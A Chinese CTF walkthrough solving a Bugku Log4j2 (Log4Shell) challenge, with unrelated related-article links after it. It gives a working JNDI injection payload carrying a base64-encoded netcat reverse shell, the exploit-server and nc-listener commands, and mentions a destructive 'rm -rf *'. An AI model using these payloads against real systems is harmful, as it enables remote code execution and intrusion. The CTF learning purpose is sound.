Log4j2 漏洞题目

题目地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1

二、攻击环境准备

需要一台linux云服务器,把kali内网穿透出去也行。

本教程只演示在centos7云服务器下的操作,其它平台请自行解决

2.1 在云服务器下安装工具 并开启监听

#安装nc
sudo yum install nc -y #安装git
sudo yum install git -y #克隆 考虑到github可能不稳定,改用gitee
#github命令 git clone https://github.com/black9/Log4shell_JNDIExploit.git
wget https://gitee.com/kittysmith5/log4j2/raw/master/log4j/log4j.zip # 解压 没安装unzip,请自行安装
unzip log4j.zip #进入目录
cd log4j/

2.2 开启ldap和http服务监听

# 一定要写自己服务器的公网ip,否则用回环地址127.0.0.1反弹不到shell
java -jar *.jar -i 114.114.114.114 -p 8080 #没安装java可以参考这篇博文 https://www.cnblogs.com/ktsm/p/14921272.html

出现以下提示就说明监听成功

2.3 开启nc监听

一定要新开一个shell,如下图,方便我们后续操作

#开启nc监听12345端口
nc -lvn 12345

出现如下提示就说明监听成功了

没出现提示, 但没提示报错也是监听成功了

2.4 进行jndi注入攻击

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}

直接填写base64加密的反弹shell命令即可

nc x.x.x.x 12345 -e /bin/sh

base64编码网站 http://tool.chinaz.com/tools/base64.aspx

把这条注入表达式填入登陆的user框中, 密码随便填一个即可

${jndi:ldap://114.114.114.114:1389/Basic/Command/Base64/bmMgMTE0LjExNC4xMTQuMTE0IDEyMzQ1IC1lIC9iaW4vc2g=}

回到那个nc监听的shell窗口, 会发现多了几行, 说明成功反弹到了shell

输入ls 和cat flag就能得到flag了

三、关闭监听环境!!!

刚开启ldap和http服务监听, 就收到来自国外的恶意攻击

如下图直接 rm -rf *

而且想通过wget 下载一个木马文件, 因此解完题目后一定要关闭所有服务

Bugku Log4j2 漏洞题目 解题参考的更多相关文章

  1. 一次 Java log4j2 漏洞导致的生产问题

    一.问题 近期生产在提交了微信小程序审核后(后面会讲到),总会出现一些生产告警,而且持续时间较长.我们查看一些工具和系统相关的,发现把我们的 gateway 差不多打死了. 有一些现象. 网关有很多接 ...

  2. Bugku的web题目(多次)的解题

    这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了 这里写一下解题方法,记录一下 一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简 ...

  3. Bugku流量分析题目总结

    flag被盗 题目链接:https://ctf.bugku.com/files/e0b57d15b3f8e6190e72987177da1ffd/key.pcapng 解题思路: 这个题目是比较基本的 ...

  4. 一道仅有7人通过的超5星微软比赛题目-------解题思路&优秀代码分享,邀你来“找茬儿”

    6月23日英雄会平台发布了一道难度为超5星的微软比赛题目,截止活动结束共有300多名编程爱好者参与线上答题,而最终通过者仅有7人,通过率仅为2%.为什么成绩如此出人意料?是因为题目的英文描述难以理解? ...

  5. leetcode并发题目解题报告JAVA版

    一.Print in Order Suppose we have a class: public class Foo { public void first() { print("first ...

  6. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

  7. bugku论剑场web解题记录

    前言 国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章.. 正文 写的不对的地方欢迎指正 web26 打开直接就是代码,这应该就是一道代码审计的题了 这里 ...

  8. CTF实验吧-WEB题目解题笔记(1)简单的登陆题

    1.简单的登陆题 解题链接: http://ctf5.shiyanbar.com/web/jiandan/index.php  Burp抓包解密 乱码,更换思路.尝试id intruder 似乎也没什 ...

  9. cojs 自己出的题目 解题报告

    省选成功成为河北B队队长QAQ 真是忧桑 所以在cojs上出了一套鬼畜的关于树的套题 黑白树: 我们先不考虑R操作 设x是u的祖先,那么fa(x)的贡献显然是 fa(x)*(sz(fa(x))-sz( ...

  10. leetcode 链表类型题目解题总结

    最基础的方式要做到非常熟练,要熟练到不思考就能写,但又需明白各处的要求和陷阱 合并两个有序链表的操作,在前面加上一个初始节点,注意while循环和退出时的处理,理解如何处理其中一个链表遍历完的情况 L ...

随机推荐

  1. C#判断窗体是否打开,并获取聚焦、未打开则新建一个子窗体

    在桌面程序开发会遇到的情况,托盘功能或者是小功能弹窗问题: 现有一个主窗体有子窗体 子窗体每个都可以新建其他窗体问题:新建子窗体时怎么判断子窗体是否打开?若子窗体打开则置顶获取焦点.若未打开则新建一个 ...

  2. iOS线程 - GCD在开发中的常见问题

    GCD 在开发中的常见问题 1 - 主线程中调用方法 ① 执行 testONE 后的输出结果:1  5  2  4  3 1 -(void)testONE{ 2 3 // 并发队列 4 dispatc ...

  3. Bat命令进行压缩X文件夹下的文件夹及文件

    输出日志 echo off for /d %%i in (D:\project101\trunk\x_client\xProject\Assets\AssetBundles\Android~\*.) ...

  4. 【git】3.2git分支-分支的新建与合并

    资料来源 (1) https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E5%88%86%E6%94%AF%E7%9A%84%E6%96%B0% ...

  5. 强烈推荐的elasticsearch集群连接工具: elasticvue

    个人感觉非常棒的es-cluster连接工具, 检查状态什么的, 一目了然, 支持中文超方便, 比elasticSearchHead好用多了. 安装方法打开微软浏览器edge-商城搜索-Elastic ...

  6. List<Object>转为对象

    List<Object> list = new ArrayList<>(); List<BMSQ> bmsqList = (List<BMSQ>)(Li ...

  7. 小程序modal弹窗

    [注意]css放的位置可能影响效果 参考a-level competitionFilterCover 1.容器:position: absolute; top: 100vh; animation: m ...

  8. b站

    题目描述 n条鱼,每条鱼的体积是ai 每一轮,每一条鱼一定会吃掉右边比自己小的第一条鱼,一条鱼只能被吃一次. 多少轮后,鱼的数量会稳定. 例子: 6 6 3 3 --> 6 6 3(第二个3)- ...

  9. ComPiler200002:Growing a Compiler

    http://www.cs.dartmouth.edu/~mckeeman/cs48/mxcom/gem/html/GrowingCompiler.html by Bill McKeeman and ...

  10. select,poll和epoll使用场景和区别

    阻塞I/O至I/O多路复用 阻塞I/O指进程发起调用后会被挂起(阻塞),直到收到数据再返回.如果调用一直不返回,进程就一直被挂起.因此,使用阻塞I/O需要利用多线程来处理多个文件描述符. 引入非阻塞I ...